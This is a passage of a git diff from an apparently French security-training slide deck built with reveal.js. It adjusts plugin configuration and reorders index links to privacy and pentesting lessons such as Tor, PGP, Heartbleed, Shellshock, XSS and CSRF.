'../../node_modules/reveal.js/plugin/markdown/markdown.js', + condition: function() { return !!document.querySelector( '[data-markdown]' ); }, + callback: function() { + Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){ + var fragIndex = ele.innerHTML.indexOf("--") + if (fragIndex != -1){ + ele.innerHTML = ele.innerHTML.replace("--", ""); + ele.className = 'fragment'; + } + }); + } + }, + { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true }, + { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } } + ] + }); + </script> + </body> +</html> diff --git a/content/slides/index.html b/content/slides/index.html index 0bd7877919823f08ab3e905a0948191dadbee6b9..7f6c9de7e0f95624773bdb33a5260a0a465e8eba 100644 --- a/content/slides/index.html +++ b/content/slides/index.html @@ -7,12 +7,12 @@ <li><a href="privacy/sovereignty.html">souveraineté</a></li> <li><a href="privacy/tracking.html">tracking</a></li> <li><a href="privacy/passwords.html">mots de passes</a></li> - <li><a href="privacy/tor.html">tor</a></li> - <li><a href="privacy/tails.html">tails</a></li> <li><a href="privacy/crypto.html">crypto</a></li> - <li><a href="privacy/pgp.html">pgp</a></li> <li><a href="privacy/tls.html">tls</a> / <a href="privacy/tls.html#/0/52">https</a></li> + <li><a href="privacy/pgp.html">pgp</a></li> <li><a href="privacy/TLSvsPGP.html">tls vs PGP</a></li> + <li><a href="privacy/tor.html">tor</a></li> + <li><a href="privacy/tails.html">tails</a></li> <li><a href="privacy/bitcoin.html">bitcoin</a></li> </ul> </li> @@ -32,9 +32,8 @@ Pentesting <ul> <li><a href="1337/gathering.html">Collecter</a></li> - <li><a href="1337/detecting.html">Détecter</a></li> <li> - Exploit + <a href="1337/detecting.html">Détecter</a> <ul> <li><a href="1337/heartbleed.html">Heartbleed</a></li> </ul> @@ -46,18 +45,13 @@ Vulnérabilités communes <ul> <li> - <a href="1337/command_execution.html">Exécution arbitraire de commandes</a> + <a href="1337/cmdi.html">Command execution</a> <ul> - <li> - Exploit - <ul> - <li><a href="1337/shellshock.html">Shellshock</a></li> - </ul> - </li> + <li><a href="1337/shellshock.html">Shellshock</a></li> </ul> </li> <li><a href="1337/upload.html">Upload</a></li> - <li><a href="1337/lfi_rfi.html">LFI_RFI</a></li> + <li><a href="1337/fi.html">File inclusion</a></li> <li><a href="1337/xss.html">XSS</a></li> <li><a href="1337/csrf.html">CSRF</a></li> <li>